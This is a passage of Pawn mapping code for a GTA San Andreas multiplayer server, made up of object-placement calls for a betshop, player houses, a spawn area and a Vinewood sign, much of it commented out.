CreateDynamicObject(1649, 2305.29907, -1990.52612, 13.71790,   0.00000, 0.00000, -0.24000);
CreateDynamicObject(1649, 2303.70947, -1992.70740, 15.27968,   91.26000, 192.89989, 78.60001);
CreateDynamicObject(2604, 2304.11938, -1988.58960, 13.27468,   0.00000, 0.00000, 88.67999);
CreateDynamicObject(1649, 2304.98340, -1986.53467, 13.71790,   0.00000, 0.00000, -0.24000);
CreateDynamicObject(1649, 2303.62354, -1988.59998, 15.27968,   91.26000, 192.89989, 78.60001);
CreateDynamicObject(2604, 2313.49829, -1985.81628, 13.27468,   0.00000, 0.00000, -0.54000);
CreateDynamicObject(1649, 2311.58862, -1986.28015, 13.57775,   0.00000, 0.00000, 89.52003);
CreateDynamicObject(1649, 2315.43237, -1986.10522, 13.57775,   0.00000, 0.00000, 89.52003);
CreateDynamicObject(1649, 2313.56519, -1985.82727, 15.24107,   91.26000, 192.89989, 167.22006);
CreateDynamicObject(19324, 2301.81030, -1982.94604, 13.18575,   0.00000, 0.00000, 178.01999);
betshopgate = CreateDynamicObject(980, 2318.98193, -1983.48926, 14.41991,   0.00000, 0.00000, 0.00000);// gate

// End of betshop


// House: Pakan ( 227 ) [ HouseID: 227 ]
/*
CreateDynamicObject(3749, 282.84415, -1321.25732, 58.30457,   0.00000, 0.00000, 33.59999);
sinadoor3 = CreateDynamicObject(980, 282.21106, -1320.36560, 55.47209,   0.00000, 0.00000, 33.00000);
// Divare chinia
CreateDynamicObject(987, 298.59912, -1310.38293, 54.72342,   0.00000, 0.00000, -149.52000);
CreateDynamicObject(987, 305.40341, -1305.88916, 54.61762,   0.00000, 0.00000, 212.57997);
CreateDynamicObject(987, 312.34714, -1315.69214, 54.16744,   0.00000, 0.00000, 124.08001);
CreateDynamicObject(987, 318.38095, -1325.52295, 54.14095,   0.00000, 0.00000, 122.58001);
CreateDynamicObject(987, 324.34073, -1335.38501, 54.09880,   0.00000, 0.00000, 121.73999);
CreateDynamicObject(987, 316.25232, -1343.71777, 54.79229,   0.00000, 0.00000, 35.82001);
CreateDynamicObject(987, 325.51654, -1336.84583, 54.12111,   0.00000, 0.00000, 121.86001);
CreateDynamicObject(987, 314.22772, -1345.99561, 55.82058,   0.00000, 0.00000, 41.04001);
CreateDynamicObject(987, 307.24625, -1350.96643, 55.87103,   0.00000, 0.00000, 39.06001);
CreateDynamicObject(987, 298.59280, -1357.80994, 55.93526,   0.00000, 0.00000, 39.30001);
CreateDynamicObject(987, 289.46558, -1351.08850, 55.98272,   0.00000, 0.00000, 316.37988);
CreateDynamicObject(987, 297.60562, -1358.87219, 55.67124,   0.00000, 0.00000, 398.39972);
CreateDynamicObject(987, 281.84692, -1343.48755, 55.11077,   0.00000, 0.00000, -44.28002);
CreateDynamicObject(987, 273.60889, -1335.27759, 54.98433,   0.00000, 0.00000, -44.33997);
CreateDynamicObject(987, 268.29550, -1331.09155, 54.63132,   0.00000, 0.00000, -40.73998);
CreateDynamicObject(987, 277.16525, -1324.26379, 54.68795,   0.00000, 0.00000, 214.55994);
*/
//------------------------------------------------------------------------







// New Mapping by Sina ( House Edited Behrooz ) ( HouseID: 69 )
/*
CreateDynamicObject(3749, 320.09631, -1186.42175, 81.10510,   0.00000, 0.00000, 39.02540);
CreateDynamicObject(19129, 326.67111, -1148.76135, 79.89530,   0.00000, 0.00000, 36.16819);
CreateDynamicObject(19608, 333.48093, -1145.60925, 79.91310,   0.00000, 0.00000, 305.81799);
CreateDynamicObject(19609, 334.79269, -1147.19775, 79.91773,   0.00000, 0.00000, 325.52539);
CreateDynamicObject(18102, 335.20456, -1149.29333, 91.31146,   0.00000, 0.00000, 310.04199);
CreateDynamicObject(1231, 293.87964, -1183.66907, 83.19694,   0.00000, 0.00000, 323.06982);
CreateDynamicObject(987, 303.29620, -1201.81165, 80.72003,   0.00000, 0.00000, 37.00750);
CreateDynamicObject(987, 293.68130, -1209.00220, 80.73613,   0.00000, 0.00000, 36.03940);
CreateDynamicObject(987, 283.97079, -1216.02356, 80.85425,   0.00000, 0.00000, 35.84610);
CreateDynamicObject(987, 274.40036, -1206.28027, 82.56202,   0.00000, 0.00000, 309.89993);
CreateDynamicObject(987, 267.21872, -1197.56042, 82.61381,   0.00000, 0.00000, 309.71170);
CreateDynamicObject(987, 259.76038, -1188.42102, 82.30070,   0.00000, 0.00000, 309.54239);
CreateDynamicObject(987, 252.13725, -1179.25293, 82.06391,   0.00000, 0.00000, 310.24301);
CreateDynamicObject(987, 244.83098, -1169.71228, 81.37061,   0.00000, 0.00000, 306.16541);
CreateDynamicObject(987, 237.53116, -1160.15332, 81.38328,   0.00000, 0.00000, 307.99240);
CreateDynamicObject(987, 245.93661, -1152.52771, 80.32164,   0.00000, 0.00000, 196.14058);
CreateDynamicObject(987, 245.95497, -1152.90515, 80.36826,   0.00000, 0.00000, 16.54335);
CreateDynamicObject(987, 257.30658, -1149.76221, 81.15234,   0.00000, 0.00000, 17.05978);
CreateDynamicObject(987, 268.50946, -1146.61035, 82.16476,   0.00000, 0.00000, 42.32109);
CreateDynamicObject(987, 277.46628, -1138.51453, 82.24976,   0.00000, 0.00000, 52.93658);
CreateDynamicObject(987, 284.68341, -1128.90198, 81.93343,   0.00000, 0.00000, 62.53319);
CreateDynamicObject(987, 290.29025, -1118.17078, 82.88654,   0.00000, 0.00000, 83.33701);
CreateDynamicObject(987, 291.93872, -1103.13330, 83.14185,   0.00000, 0.00000, 336.40479);
CreateDynamicObject(987, 302.48825, -1107.23828, 83.25864,   0.00000, 0.00000, 331.16296);
CreateDynamicObject(987, 313.11444, -1113.05029, 82.68148,   0.00000, 0.00000, 305.91214);
CreateDynamicObject(987, 319.76172, -1122.65759, 82.71416,   0.00000, 0.00000, 307.78384);
CreateDynamicObject(987, 327.22031, -1131.93567, 82.64323,   0.00000, 0.00000, 307.08862);
CreateDynamicObject(987, 334.38428, -1141.59485, 82.64875,   0.00000, 0.00000, 308.83682);
CreateDynamicObject(987, 330.57486, -1181.51221, 80.50121,   0.00000, 0.00000, 40.54526);
CreateDynamicObject(987, 339.30930, -1173.25806, 80.74414,   0.00000, 0.00000, 43.22033);
CreateDynamicObject(987, 342.21268, -1171.43225, 80.40578,   0.00000, 0.00000, 45.87014);
CreateDynamicObject(987, 349.13858, -1160.26733, 82.63198,   0.00000, 0.00000, 128.62830);
CreateDynamicObject(987, 343.02008, -1153.24231, 81.81976,   0.00000, 0.00000, 307.56750);
CreateDynamicObject(987, 276.41180, -1209.38953, 82.56202,   0.00000, 0.00000, 314.99985);
CreateDynamicObject(987, 283.52484, -1216.44495, 80.85425,   0.00000, 0.00000, 35.84610);
CreateDynamicObject(987, 234.20094, -1155.57007, 81.38328,   0.00000, 0.00000, 307.99240);
CreateDynamicObject(987, 291.07468, -1114.77686, 82.88654,   0.00000, 0.00000, 86.15704);
CreateDynamicObject(14791, 326.10629, -1169.72656, 82.02994,   0.00000, 0.00000, 44.52001);
CreateDynamicObject(2350, 323.01300, -1167.62012, 80.16970,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(2350, 329.45273, -1166.49060, 80.28065,   0.00000, 0.00000, -9.54000);
CreateDynamicObject(2350, 322.71820, -1172.19324, 80.25843,   0.00000, 0.00000, -30.12000);
CreateDynamicObject(2350, 330.45703, -1167.62207, 80.20945,   0.00000, 0.00000, -30.12000);
CreateDynamicObject(2350, 324.79218, -1165.90308, 80.17703,   0.00000, 0.00000, -48.96000);
CreateDynamicObject(2350, 323.92093, -1172.99109, 80.22152,   0.00000, 0.00000, -48.96000);
CreateDynamicObject(3819, 332.15536, -1175.45422, 80.73173,   0.00000, 0.00000, -47.46003);
CreateDynamicObject(3462, 338.82358, -1153.56958, 80.84898,   0.00000, 0.00000, 69.06000);
CreateDynamicObject(987, 328.69644, -1182.61218, 80.50121,   0.00000, 0.00000, 40.54526);
CreateDynamicObject(987, 304.66260, -1200.79956, 80.72003,   0.00000, 0.00000, 37.00750);
CreateDynamicObject(14537, 255.72260, -1165.54138, 80.64932,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(14467, 256.58600, -1165.90637, 84.63065,   0.00000, 0.00000, 71.81999);
CreateDynamicObject(3528, 322.09894, -1188.97742, 84.95944,   0.00000, 0.00000, -55.07999);
CreateDynamicObject(3605, 284.23953, -1187.72119, 85.94452,   0.00000, 0.00000, -48.72001);
CreateDynamicObject(1231, 288.06168, -1176.60437, 83.19694,   0.00000, 0.00000, 323.06982);
CreateDynamicObject(2630, 301.78995, -1190.41492, 80.58521,   0.00000, 0.00000, -140.21997);
CreateDynamicObject(2630, 299.13812, -1192.66919, 80.58521,   0.00000, 0.00000, -140.21997);
CreateDynamicObject(2630, 295.80371, -1188.32446, 80.58521,   0.00000, 0.00000, -140.21997);
CreateDynamicObject(2630, 298.29401, -1186.23499, 80.58521,   0.00000, 0.00000, -140.21997);
CreateDynamicObject(2628, 298.53052, -1189.19153, 80.59166,   0.00000, 0.00000, 218.94002);
CreateDynamicObject(2632, 283.56564, -1171.28491, 80.58887,   0.00000, 0.00000, -46.62000);
CreateDynamicObject(2632, 281.37756, -1173.10620, 80.58887,   0.00000, 0.00000, -46.62000);
CreateDynamicObject(2632, 278.10999, -1169.65552, 80.58887,   0.00000, 0.00000, -46.62000);
CreateDynamicObject(2632, 280.19745, -1167.55640, 80.58887,   0.00000, 0.00000, -46.62000);
CreateDynamicObject(1209, 287.28860, -1179.72595, 80.54404,   0.00000, 0.00000, 130.19995);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 19.68000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 37.26001);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 19.68000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 57.23998);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 19.68000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 37.26001);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 19.68000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 37.26001);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 96.53998);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 19.68000);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 37.26001);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 139.62003);
CreateDynamicObject(9019, 303.96393, -1126.56494, 79.87554,   0.00000, 0.00000, 96.53998);
CreateDynamicObject(19076, 304.17181, -1126.80542, 78.73433,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19054, 304.98438, -1130.35229, 80.52291,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19054, 302.46478, -1129.69067, 80.52291,   0.00000, 0.00000, -29.64000);
CreateDynamicObject(19054, 300.75137, -1127.02625, 80.52291,   0.00000, 0.00000, -43.08000);
CreateDynamicObject(19054, 302.56918, -1123.75684, 80.52291,   0.00000, 0.00000, -49.31999);
CreateDynamicObject(19054, 307.17731, -1127.61621, 80.52291,   0.00000, 0.00000, -15.96000);
CreateDynamicObject(19054, 306.32935, -1125.17725, 80.52291,   0.00000, 0.00000, -26.40000);
CreateDynamicObject(19609, 332.60278, -1144.05774, 79.91773,   0.00000, 0.00000, 286.34540);
CreateDynamicObject(1828, 291.54675, -1180.22827, 80.63599,   0.00000, 0.00000, 36.90000);
CreateDynamicObject(946, 272.24728, -1156.81934, 81.98425,   0.00000, 0.00000, -48.53999);
CreateDynamicObject(946, 279.56219, -1149.28992, 81.98425,   0.00000, 0.00000, -223.01996);
CreateDynamicObject(1550, 290.69690, -1183.66821, 80.99276,   14.09999, 16.98001, 227.69984);
CreateDynamicObject(1550, 290.81342, -1183.15601, 80.99276,   14.09999, 16.98001, 231.83977);
CreateDynamicObject(1550, 290.97061, -1183.45776, 80.99276,   14.09999, 16.98001, 231.29979);
CreateDynamicObject(1892, 289.37357, -1182.47546, 80.62277,   0.00000, 0.00000, 130.38002);
CreateDynamicObject(1617, 290.72665, -1184.64172, 82.65987,   0.00000, 0.00000, 221.52007);
CreateDynamicObject(2942, 281.68411, -1135.43127, 80.54720,   0.00000, 0.00000, 53.04000);
CreateDynamicObject(1597, 274.05774, -1165.49268, 82.40630,   0.00000, 0.00000, -47.63998);
CreateDynamicObject(623, 316.27081, -1169.85364, 79.57234,   0.00000, 0.00000, 145.92004);
CreateDynamicObject(623, 304.33054, -1180.90051, 79.57234,   0.00000, 0.00000, -46.01994);
CreateDynamicObject(6965, 296.12976, -1154.11841, 83.41080,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1597, 303.10806, -1197.43909, 82.40630,   0.00000, 0.00000, -51.59999);
sinadoor2 = CreateDynamicObject(980, 319.04623, -1187.88757, 78.19210,   0.00000, 0.00000, 219.36021);
CreateDynamicObject(2921, 327.59857, -1183.71851, 82.86317,   0.00000, 0.00000, 117.90000);
CreateDynamicObject(2921, 315.79102, -1193.02637, 82.86317,   0.00000, 0.00000, 192.96004);
CreateDynamicObject(18090, 345.00674, -1164.44080, 82.22812,   0.00000, 0.00000, -47.94001);
CreateDynamicObject(19130, 289.39804, -1181.90942, 84.12124,   0.00000, 0.00000, 39.72001);
CreateDynamicObject(1227, 328.14865, -1183.42676, 76.17301,   0.00000, 0.00000, 37.37999);
CreateDynamicObject(3471, 316.11557, -1193.49011, 75.95169,   0.00000, 0.00000, -51.12000);
CreateDynamicObject(6964, 296.13583, -1154.27881, 79.53117,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19304, 324.95441, -1183.24390, 76.47478,   0.00000, 0.00000, 36.12000);
CreateDynamicObject(19304, 324.95441, -1183.24390, 77.66626,   0.00000, 0.00000, 36.12000);
CreateDynamicObject(19304, 324.95441, -1183.24390, 78.86401,   0.00000, 0.00000, 36.12000);
CreateDynamicObject(19304, 324.95441, -1183.24390, 80.06171,   0.00000, 0.00000, 36.12000);
CreateDynamicObject(16782, 281.66580, -1176.16882, 85.66216,   0.00000, 0.00000, 41.03999);
CreateDynamicObject(16782, 284.03094, -1178.91089, 85.66216,   0.00000, 0.00000, 41.03999);
CreateDynamicObject(16782, 291.50998, -1187.46716, 85.66216,   0.00000, 0.00000, 41.03999);
CreateDynamicObject(16782, 294.10675, -1190.43164, 85.66216,   0.00000, 0.00000, 41.03999);
CreateDynamicObject(9833, 295.73828, -1154.15747, 89.49916,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(3532, 316.62619, -1170.51648, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 316.11691, -1170.81860, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 315.67572, -1170.86902, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 317.18326, -1170.21948, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 315.37286, -1171.00757, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 305.47861, -1180.53638, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 305.13779, -1180.69812, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 304.48706, -1180.89905, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 304.00677, -1181.01929, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 305.77026, -1180.41418, 80.32165,   0.00000, 0.00000, 17.64000);
CreateDynamicObject(3532, 303.51205, -1181.27222, 80.32165,   0.00000, 0.00000, 17.64000);
*/
// End Of New Mapping Ranger ( Edited House Behrooz ) ( HouseID: 69 )


// CreateDynamicObject(971, -2039.21350, -276.90100, 35.47160,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2035.60156, -276.93390, 35.47160,   0.00000, 0.00000, -1.02000);
// CreateDynamicObject(967, -2058.04517, -101.63808, 33.81555,   0.00000, 0.00000, 85.98004);
// CreateDynamicObject(966, -2057.10156, -101.90392, 33.83024,   0.00000, 0.00000, 181.73993);
// CreateDynamicObject(968, -2057.07666, -101.90220, 34.44320,   0.00000, 0.00000, 183.17999);
// CreateDynamicObject(971, -2041.46606, -102.35800, 34.51000,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2045.94751, -102.36600, 34.51000,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(3524, -2058.09155, -102.99858, 38.93070,   0.00000, 0.00000, -179.88010);
// CreateDynamicObject(16613, -2118.98169, -231.63339, 34.30853,   0.00000, 0.00000, 57.90001);
// CreateDynamicObject(6295, -2027.97351, -112.86200, 54.37900,   0.00000, 0.00000, 190.02000);
// CreateDynamicObject(7392, -2027.09436, -262.80280, 48.75950,   0.00000, 0.00000, 88.62000);
// CreateDynamicObject(1825, -2055.98267, -257.37515, 34.31390,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(1825, -2053.14111, -258.84311, 34.31424,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(1825, -2056.01758, -261.36569, 34.31629,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(1825, -2052.81348, -262.68353, 34.31616,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(1825, -2056.11157, -264.90979, 34.31168,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(1825, -2053.12280, -266.14618, 34.31164,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(3094, -2056.75562, -269.56403, 34.31456,   0.00000, 0.00000, 90.60005);
// CreateDynamicObject(3528, -2027.17920, -258.19330, 41.30520,   0.00000, 0.00000, 124.74010);
// CreateDynamicObject(2002, -2051.70801, -255.38780, 34.30988,   0.00000, 0.00000, 176.51993);
// CreateDynamicObject(2002, -2052.21606, -255.33467, 34.31066,   0.00000, 0.00000, 179.69965);
// CreateDynamicObject(3864, -2072.10205, -252.22310, 40.30970,   0.00000, 0.00000, 175.02010);
// CreateDynamicObject(3864, -2014.88403, -233.05479, 40.30970,   0.00000, 0.00000, 58.80000);
// CreateDynamicObject(18655, -2083.25269, -268.20670, 34.28507,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(18657, -2083.13647, -268.61304, 37.01600,   27.06000, -42.78000, 272.04010);
// CreateDynamicObject(3749, -2049.12842, -83.01670, 39.22400,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2035.64380, -82.95390, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2027.15417, -82.89620, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2020.18872, -85.83610, 36.15970,   0.00000, 0.00000, -47.22000);
// CreateDynamicObject(971, -2017.21875, -93.30780, 36.15970,   0.00000, 0.00000, -88.86000);
// CreateDynamicObject(971, -2017.07446, -99.26970, 36.15970,   0.00000, 0.00000, 89.46000);
// CreateDynamicObject(971, -2063.23853, -83.11550, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2071.22021, -83.07200, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2079.73706, -83.08590, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2088.13135, -83.10130, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, -2091.93433, -83.05430, 36.15970,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(3528, -2041.11414, -80.66128, 39.16100,   0.00000, 0.00000, 81.96000);
// CreateDynamicObject(3528, -2056.71631, -80.16860, 39.16100,   0.00000, 0.00000, 80.88000);
// CreateDynamicObject(956, -2053.10693, -255.29214, 34.64000,   0.00000, 0.00000, 173.51990);
// CreateDynamicObject(1452, -2056.72437, -254.98370, 35.32800,   0.00000, 0.00000, -180.11980);
// CreateDynamicObject(3641, -2080.92163, -235.64070, 36.75640,   0.00000, 0.00000, 0.00000);
/* CreateDynamicObject(19128, -2079.83105, -242.53238, 34.31379,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2083.79858, -242.50668, 34.31371,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2079.86353, -238.60883, 34.31410,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2083.81519, -238.62714, 34.30942,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2079.89575, -234.61642, 34.30940,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2083.85962, -234.62572, 34.30981,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2079.87524, -230.65919, 34.30984,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2083.82764, -230.63617, 34.30973,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2079.88330, -226.71555, 34.31178,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(19128, -2083.85718, -226.69739, 34.31180,   0.00000, 0.00000, 0.00000); */
// CreateDynamicObject(971, -2079.94263, -244.26274, 34.31145,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(2252, -2016.03528, -272.74829, 36.97500,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, 1342.85559, -946.37244, 34.48267,   0.00000, 0.00000, 96.41998);
// CreateDynamicObject(967, 1342.81958, -941.13062, 34.11200,   0.00000, 0.00000, 172.92000);
// CreateDynamicObject(966, 1342.98682, -940.20093, 34.04115,   0.00000, 0.00000, -98.70004);
// CreateDynamicObject(968, 1342.98779, -940.20313, 34.55670,   0.00000, 0.00000, 104.09999);
// CreateDynamicObject(971, 1345.44482, -928.99023, 33.88223,   0.00000, 0.00000, 73.32000);
// CreateDynamicObject(971, 1344.56323, -921.56317, 34.28049,   0.00000, 0.00000, -62.51996);
// CreateDynamicObject(967, 1372.67761, -921.90521, 33.35141,   0.00000, 0.00000, 86.04007);
// CreateDynamicObject(967, 1374.99524, -922.33917, 33.44138,   0.00000, 0.00000, 82.25999);
// CreateDynamicObject(966, 1376.07800, -922.25952, 33.43947,   0.00000, 0.00000, 172.19997);
// CreateDynamicObject(968, 1376.04468, -922.20673, 34.01630,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(966, 1371.54614, -921.84375, 33.13982,   0.00000, 0.00000, -2.94000);
// CreateDynamicObject(968, 1371.50928, -921.63861, 34.01630,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(971, 1387.30994, -922.44232, 33.11877,   0.00000, 0.00000, 13.20000);
// CreateDynamicObject(971, 1394.64417, -919.34155, 34.40966,   0.00000, 0.00000, 32.27999);
// CreateDynamicObject(967, 1460.70959, -970.52344, 35.32033,   0.00000, 0.00000, -17.94000);
// CreateDynamicObject(966, 1461.71313, -969.72119, 35.16586,   0.00000, 0.00000, -110.76003);
// CreateDynamicObject(968, 1461.63867, -969.69922, 35.77630,   0.00000, 0.00000, 79.92000);
// CreateDynamicObject(967, 1465.04175, -959.72839, 35.33974,   0.00000, 0.00000, -4.44000);
// CreateDynamicObject(971, 1468.61511, -962.51178, 35.32513,   0.00000, 0.00000, 8.16000);
// CreateDynamicObject(971, 1474.33630, -963.57117, 35.51945,   0.00000, 0.00000, -22.26000);
// CreateDynamicObject(971, 1479.15479, -965.92438, 35.53848,   0.00000, 0.00000, -20.94000);
// CreateDynamicObject(966, 1464.68237, -958.55554, 35.35320,   0.00000, 0.00000, -93.59998);
// CreateDynamicObject(968, 1464.68176, -958.54517, 35.82450,   0.00000, 0.00000, 85.25996);
// CreateDynamicObject(967, 1465.13818, -949.20038, 35.30053,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(966, 1465.26514, -947.90015, 35.34766,   0.00000, 0.00000, -87.59999);
// CreateDynamicObject(968, 1465.25696, -947.87000, 35.87630,   0.00000, 0.00000, -80.88000);
// CreateDynamicObject(971, 1464.55969, -936.55170, 35.12424,   0.00000, 0.00000, 98.45999);
/* CreateDynamicObject(971, 1464.42883, -929.69727, 36.32784,   0.00000, 0.00000, 88.32003);
CreateDynamicObject(971, 1419.87329, -916.73126, 35.03493,   0.00000, 0.00000, -9.24000);
CreateDynamicObject(971, 1427.27649, -917.36658, 35.03539,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, 1449.69360, -921.59802, 36.47768,   0.00000, 0.00000, -7.02000);
CreateDynamicObject(971, 1456.91992, -921.92957, 36.59824,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(971, 1360.13525, -921.17456, 33.13279,   0.00000, 0.00000, -5.82000);
CreateDynamicObject(971, 1352.59998, -919.49005, 34.37552,   0.00000, 0.00000, -19.56001);
CreateDynamicObject(971, 1347.10242, -917.39124, 35.14973,   0.00000, 0.00000, -21.54000); */

// Spawn map


//CreateDynamicObject(19128, 1644.10352, -2239.18701, 12.49111,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(19128, 1640.15454, -2239.18921, 12.49101,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(19128, 1640.17358, -2243.16748, 12.48981,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(19128, 1644.13879, -2243.19165, 12.50760,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(983, 1646.21606, -2240.27612, 13.16450,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(983, 1638.09546, -2240.27368, 13.16450,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(2773, 1646.44006, -2244.58496, 13.01560,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(2773, 1637.89819, -2244.60278, 13.01560,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(18102, 1647.47815, -2242.00513, 17.71930,   0.00000, 0.00000, 0.00000);
//CreateDynamicObject(623, 1633.97998, -2251.88330, 12.31250,   0.00000, 0.00000, -64.50000);
//CreateDynamicObject(623, 1653.57556, -2251.51147, 12.32184,   0.00000, 0.00000, 87.65999);
//CreateDynamicObject(1597, 1660.74976, -2253.74902, 14.92880,   0.00000, 0.00000, -89.64000);
//CreateDynamicObject(1597, 1628.19519, -2253.76611, 14.92880,   0.00000, 0.00000, 89.22000);

// Spawn map

/* CreateDynamicObject(971, 1798.92834, -1582.63928, 12.45126,   0.00000, 0.00000, 15.36000);
CreateDynamicObject(971, 1805.96240, -1579.63123, 12.43139,   0.00000, 0.00000, 31.20000);
CreateDynamicObject(971, 1810.72168, -1576.70874, 12.49206,   0.00000, 0.00000, 34.68001); */
// CreateDynamicObject(967, 1813.19080, -1573.82153, 12.52451,   0.00000, 0.00000, 27.42000);
// CreateDynamicObject(966, 1812.87122, -1572.85364, 12.51738,   0.00000, 0.00000, -58.92001);
// CreateDynamicObject(968, 1812.84680, -1572.80420, 13.11690,   0.00000, 0.00000, -60.42001);
/* CreateDynamicObject(1411, -2034.30518, -102.24397, 39.90720,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1411, -2028.96362, -102.14963, 39.90720,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1411, -2023.88782, -102.39500, 39.90720,   0.00000, 0.00000, 0.00000);
CreateDynamicObject(1411, -2022.12817, -102.42781, 39.90720,   0.00000, 0.00000, 0.00000); */
// CreateDynamicObject(1334, -2049.85254, -255.36301, 35.30320,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(3829, -2090.01611, -109.45560, 37.86310,   0.00000, 0.00000, -179.51990);
// CreateDynamicObject(3639, -2090.32178, -130.07870, 38.71330,   0.00000, 0.00000, 90.06000);
// CreateDynamicObject(971, -2089.09595, -122.94950, 34.49510,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(14582, -2063.73828, -260.00208, 37.27070,   0.00000, 0.00000, 0.00000);
// CreateDynamicObject(3279, -2090.42676, -274.59189, 34.25960,   0.00000, 0.00000, 0.00000);



//--------------------[VineWood]-------------------
//====================================== VINEWOOD ============================================//
/*
   new UnitedT = CreateObject(7914,1416.3001, -811.6177, 80.0196, 0.0000, 0.0000, -0.3100,1000.0);
  SetObjectMaterialText(UnitedT, "{0000ff}Mode",0,  80, "Copperplate Gothic", 100, 1, -8092540, 0, 1);


   new GamingG = CreateObject(7914, 1430.2831, -811.6177, 80.0196, 0.0000, 0.0000, 0.7933,1000.0);
  SetObjectMaterialText(GamingG, "{0000ff}rn",0,  80, "Copperplate Gothic", 100, 1, -16776961, 0, 1);

   new GamingA = CreateObject(7914, 1434.5492, -811.6177, 80.0196, 0.0000, 0.0000, -0.3100,1000.0);
  SetObjectMaterialText(GamingA, "{FFFFFF}  L",0,  80, "Copperplate Gothic", 100, 1, -8092540, 0, 1);

   new GamingM = CreateObject(7914, 1439.1312, -811.6177, 80.0196, 0.0000, 0.0000, -0.3100,1000.0);
  SetObjectMaterialText(GamingM, "{FFFFFF}  i",0,  80, "Copperplate Gothic", 100, 1, -8092540, 0, 1);

   new GamingI = CreateObject(7914, 1442.4492, -811.6177, 80.0196, 0.0000, 0.0000, -0.3100,1000.0);
  SetObjectMaterialText(GamingI, "{FFFFFF}  fe",0,  80, "Copperplate Gothic", 100, 1, -8092540, 0, 1);

	CreateDynamicObject(708, 1453.94751, -796.65192, 84.43130,   0.00000, 0.00000, 0.00000,1000.00);
	CreateDynamicObject(708, 1429.29492, -795.15527, 84.43130,   0.00000, 0.00000, 0.00000,1000.00);
